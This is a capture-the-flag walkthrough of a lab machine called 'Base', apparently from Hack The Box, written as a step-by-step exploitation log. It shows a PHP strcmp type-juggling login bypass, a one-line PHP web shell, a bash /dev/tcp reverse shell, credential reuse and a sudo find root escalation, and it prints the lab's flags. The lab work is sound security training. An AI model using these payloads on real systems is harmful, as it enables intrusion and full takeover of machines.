06.BASE
root@oco:~$ sudo openvpn ~/Downloads/starting_point.ovpn
ENUMERATE SERVICES
root@htb:~$ sudo nmap -sV -sC -T4 {targetIP} -p-
PORT STATE SERVICE VERSION
22/tcp open ssh OpenSSH 7.6p1 Ubuntu 4ubuntu0.7 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 f6:5c:9b:38:ec:a7:5c:79:1c:1f:18:1c:52:46:f7:0b (RSA)
| 256 65:0c:f7:db:42:03:46:07:f2:12:89:fe:11:20:2c:53 (ECDSA)
|_ 256 b8:65:cd:3f:34:d8:02:6a:e3:18:23:3e:77:dd:87:40 (ED25519)
80/tcp open http Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Welcome to Base
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
* Typically '-sV' is used with Nmap to determine versions, but that's not always enough.
- adding the -sC is another good way to determine service versions
- the -sC option will run safe scripts which are designed to provide useful
information without being too intrusive or causing harm to the target systems.
* the -SC runs the default set of Nmap scripts (NSE scripts), which typically include
scripts for service enumeration, version detection, and other basic checks.
* use the -Pn option of Nmap when ICMP packets are blocked by the Windows firewall
- the -PN option treats all hosts as online and will skip host discovery
VULNERABILITY SCANNING
root@htb:~$ sudo nmap --script=vuln {targetIP} -p 22,6789,8080,8443,8843,8880
PORT STATE SERVICE
22/tcp open ssh
80/tcp open http
| http-csrf:
| Spidering limited to: maxdepth=3; maxpagecount=20; withinhost=10.129.141.59
| Found the following possible CSRF vulnerabilities:
|
| Path: http://10.129.141.59:80/
| Form id: name
| Form action: forms/contact.php
|
| Path: http://10.129.141.59:80/
| Form id:
| Form action:
|
| Path: http://10.129.141.59:80/login/login.php
| Form id: login-form
| Form action:
|
| Path: http://10.129.141.59:80/login/login.php
| Form id:
| Form action:
|
| Path: http://10.129.141.59:80/index.html
| Form id: name
| Form action: forms/contact.php
|
| Path: http://10.129.141.59:80/index.html
| Form id:
|_ Form action:
|_http-internal-ip-disclosure: ERROR: Script execution failed (use -d to debug)
|_http-stored-xss: Couldn't find any stored XSS vulnerabilities.
| http-sql-injection:
| Possible sqli for queries:
| http://10.129.141.59:80/login/?C=S%3BO%3DA%27%20OR%20sqlspider
| http://10.129.141.59:80/login/?C=M%3BO%3DA%27%20OR%20sqlspider
| http://10.129.141.59:80/login/?C=D%3BO%3DA%27%20OR%20sqlspider
| http://10.129.141.59:80/login/?C=N%3BO%3DD%27%20OR%20sqlspider
| http://10.129.141.59:80/login/?C=M%3BO%3DA%27%20OR%20sqlspider
| http://10.129.141.59:80/login/?C=D%3BO%3DA%27%20OR%20sqlspider
| http://10.129.141.59:80/login/?C=S%3BO%3DD%27%20OR%20sqlspider
|_ http://10.129.141.59:80/login/?C=N%3BO%3DA%27%20OR%20sqlspider
|_http-dombased-xss: Couldn't find any DOM based XSS.
| http-enum:
| /login/: Login page
|_ /forms/: Potentially interesting directory w/ listing on 'apache/2.4.29 (ubuntu)'
* the --script=vuln will run scripts that focus specifically on detecting known
vulnerabilities in the service running on port 6379
- e.g., weak configurations, or known vulnerabilities in the redis service
- if no results are found then the service may be fully patched!
FOOTHOLD
Submit user flag and root flag.
#walk the application
root@htb:~$ BROWSER > 10.129.141.59
* identified the following
- login form w/ input fields
- login form
- the login form is contained in a login directory
- http://10.129.141.59/login/login.php
#code review
root@htb:~$ BROWSER > 10.129.141.59 > CTRL + U
* nothing pertinent
#determine whether the login directory can be accessed
root@htb:~$ BROWSER > http://10.129.141.59/login
Index of /login
[ICO] Name Last modified Size Description
[PARENTDIR] Parent Directory -
[ ] config.php 2022-06-04 16:24 61
[ ] login.php 2022-06-15 11:23 7.4K
[ ] login.php.swp 2022-06-04 17:09 16K
Apache/2.4.29 (Ubuntu) Server at 10.129.141.59 Port 80
* /login folder is configured as listable
root@htb:~$ BROWSER > http://10.129.141.59/login
{download the login.php.swp} file
* the .swp file is a temporary file produced when a program (VIM) experience
a crash.
- it stores the changes that are made to the buffer
root@htb:~$ strings ~/Downloads/login.php.swp
<!DOCTYPE html>
}
print("<script>alert('Wrong Username or Password')</script>");
} else {
}
print("<script>alert('Wrong Username or Password')</script>");
} else {
header("Location: /upload.php");
$_SESSION['user_id'] = 1;
if (strcmp($password, $_POST['password']) == 0) {
if (strcmp($username, $_POST['username']) == 0) {
require('config.php');
if (!empty($_POST['username']) && !empty($_POST['password'])) {
session_start();
<?php
* identified the login functionality
root@oco:~$ strings ~/Downloads/login.php.swp >> fileName.txt
root@oco:~$ tac fileName.txt
</html>
<?php
session_start();
if (!empty($_POST['username']) && !empty($_POST['password'])) {
require('config.php');
if (strcmp($username, $_POST['username']) == 0) {
if (strcmp($password, $_POST['password']) == 0) {
$_SESSION['user_id'] = 1;
header("Location: /upload.php");
} else {
print("<script>alert('Wrong Username or Password')</script>");
}
} else {
print("<script>alert('Wrong Username or Password')</script>");
}
<!DOCTYPE html>
...
* identified a function "strcmp" that has a logic flaw
- if strcmp is given an empty array to compare against the stored
password, it will return NULL. in PHP the == operator only checks the
value of a variable for equality, and the value of NULL is equal to 0.
the correct way to write this would be with the === operator which
checks both value and type.
- this is known as "Type Juggling bugs"
- in php, converting a variable to an array type is easily accomplished
by appending the [] symbol on the variable name.
- the strcmp() will then compare the array instead of a string. If the
above logic variables are converted into an empty arrays
( $username[] & $password[] ), the comparison will return NULL, which
will then return TRUE, bypassing the authentication mechanism and
the login will be successful
#EXPLOITATION
root@htb~:$ BURP > Proxy > Intercept > Open Browser
BURP Browser > 10.129.141.22 > Login
BURP Browser > http://10.129.141.22/login/login.php
username: test
password: test
Request
...
POST /login/login.php HTTP/1.1
Host: 10.129.141.22
Content-Length: 27
Cache-Control: max-age=0
Accept-Language: en-US,en;q=0.9
Origin: http://10.129.141.22
Content-Type: application/x-www-form-urlencoded
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://10.129.141.22/login/login.php
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=2enk4s6urjnt8tm94796j6sncv
Connection: keep-alive
username=test&password=test
* modify the request for username & password to...
username[]=test&password[]=test
- this converts the variables to arrays. once the request is forwarded,
strcmp() returns true and the login is successful
#upload a web shell
root@htb:~$ echo '<?php echo system($_REQUEST["cmd"]);?>' > shell.php
* the $_REQUEST method is used to fetch the cmd parameter. it can fetch
both URL parameters in GET requests and HTTP request body parameters in
case of POST requests.
* enclose the double quotes in single quotes, else the $_REQUEST will
get stripped by BASH
BURP Browser > http://10.129.141.22/upload.php > Select Your Upload
upload: shell.php
#identify where the uploaded files are stored
root@htb:~$ find / iname big.txt 2>/dev/null
/usr/share/dirb/wordlists/big.txt
root@htb:~$ cp /usr/share/dirb/wordlists/big.txt .
root@htb:~$ gobuster dir --url http://10.129.141.22/ --wordlist /usr/share/wordlists/dirb/big.txt
===============================================================
Starting gobuster in directory enumeration mode
===============================================================
/.htaccess (Status: 403) [Size: 278]
/.htpasswd (Status: 403) [Size: 278]
/_uploaded (Status: 301) [Size: 318] [--> http://10.129.141.22/_uploaded/]
/assets (Status: 301) [Size: 315] [--> http://10.129.141.22/assets/]
/forms (Status: 301) [Size: 314] [--> http://10.129.141.22/forms/]
/login (Status: 301) [Size: 314] [--> http://10.129.141.22/login/]
/server-status (Status: 403) [Size: 278]
Progress: 20469 / 20470 (100.00%)
===============================================================
Finished
===============================================================
root@htb:~$ curl http://10.129.141.22/_uploaded/ | grep .php
% Total % Received % Xferd Average Speed Time Time Time Current
Dload Upload Total Spent Left Speed
100 947 100 947 0 0 51548 0 --:--:-- --:--:-- --:--:-- 52611
<tr><td valign="top"><img src="/icons/unknown.gif" alt="[ ]"></td><td><a href="shell.php">shell.php</a></td><td align="right">2025-05-11 22:01 </td><td align="right"> 30 </td><td> </td></tr>
root@htb:~$ curl http://10.129.141.22/_uploaded/shell.php?cmd=id
uid=33(www-data) gid=33(www-data) groups=33(www-data)
#expand to a reverse shell
BURP Browser > http://10.129.141.22/_uploaded/shell.php?cmd=id
Request
...
GET /_uploaded/shell.php?cmd=id HTTP/1.1
Host: 10.129.141.22
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=2enk4s6urjnt8tm94796j6sncv
Connection: keep-alive
* Send to Repeater...
Burp > Repeater
Request
...
GET /_uploaded/shell.php?cmd=id HTTP/1.1
Host: 10.129.141.22
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=2enk4s6urjnt8tm94796j6sncv
Connection: keep-alive
* Change the Request Method to POST
Request
...
POST /_uploaded/shell.php HTTP/1.1
Host: 10.129.141.22
Accept-Language: en-US,en;q=0.9
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/130.0.6723.70 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate, br
Cookie: PHPSESSID=2enk4s6urjnt8tm94796j6sncv
Connection: keep-alive
Content-Type: application/x-www-form-urlencoded
Content-Length: 6
cmd=id
* replace the "id" with the reverse shell cmd
- /bin/bash -c 'bash -i >& /dev/tcp/YOUR_IP_ADDRESS/LISTENING_PORT 0>&1'
#encode the characters as well else they will not the server will not interpret the command correctly
BURP > Repeater > highlight the payload > right-click > Convert Selection > URL > URL-encode key characters
* to simplify, just highlist the payload then CTRL + U
root@htb:~$ nc -nlvp 4321
...
BURP > Repeater > Send the payload to the target
root@htb:~$ nc...
listening on [any] 4321 ...
connect to [10.10.14.215] from (UNKNOWN) [10.129.141.22] 46300
bash: cannot set terminal process group (1212): Inappropriate ioctl for device
bash: no job control in this shell
www-data@base:/var/www/html/_uploaded$
#privesc
www-data@base:/var/www/html/_uploaded$ cat /var/www/html/login/config.php
<?php
$username = "admin";
$password = "thisisagoodpassword";
www-data@base:/var/www/html/_uploaded$ ls /home
john
#test whether the password can be used for the user john
www-data@base:/var/www/html/_uploaded$ python3 -c'import pty;pty.spawn("/bin/bash")'
<aded$ python3 -c'import pty;pty.spawn("/bin/bash")'
* prior to switching to the user john, an interactive shell is required
if the shell isn't fully interactive, the su cmd will fail
www-data@base:/var/www/html/_uploaded$ su john
Password: thisisagoodpassword
john@base:/var/www/html/_uploaded$
* the alternative is using SSH
- root@htb:~$ ssh john@10.129.141.22
john@base:/var/www/html/_uploaded$ ls /home/john
user.txt
john@base:/var/www/html/_uploaded$ cat /home/john/user.txt
f54846c258f3b4612f78a819573d158e
#elevate to root
john@base:/var/www/html/_uploaded$ sudo -l
[sudo] password for john: thisisagoodpassword
Matching Defaults entries for john on base:
env_reset, mail_badpass,
secure_path=/usr/local/sbin\:/usr/local/bin\:/usr/sbin\:/usr/bin\:/sbin\:/bin\:/snap/bin
User john may run the following commands on base:
(root : root) /usr/bin/find
* this lists the sudo privileges that our user, john, is assigned
- john can run the find command as a root
#
root@htb:~$ BROWSER > https://gtfobins.github.io/
search: find
Sudo
If the binary is allowed to run as superuser by sudo, it does not drop the
elevated privileges and may be used to access the file system, escalate
or maintain privileged access.
- sudo find . -exec /bin/sh \; -quit
* GTFOBins is a curated list of Unix binaries that can be used to bypass
local security restrictions in misconfigured systems.
john@base:/var/www/html/_uploaded$ sudo find . -exec /bin/bash \; -quit
root@base:/var/www/html/_uploaded#
* the -exec flag in find runs a command on each matched file. If used to
start a shell (e.g., /bin/sh) and find is run with sudo, the shell will run
with root privileges—effectively escalating to a root shell.
root@base:/var/www/html/_uploaded# ls /root
root.txt
root@base:/var/www/html/_uploaded# cat /root/root.txt
51709519ea18ab37dd6fc58096bea949
Last updated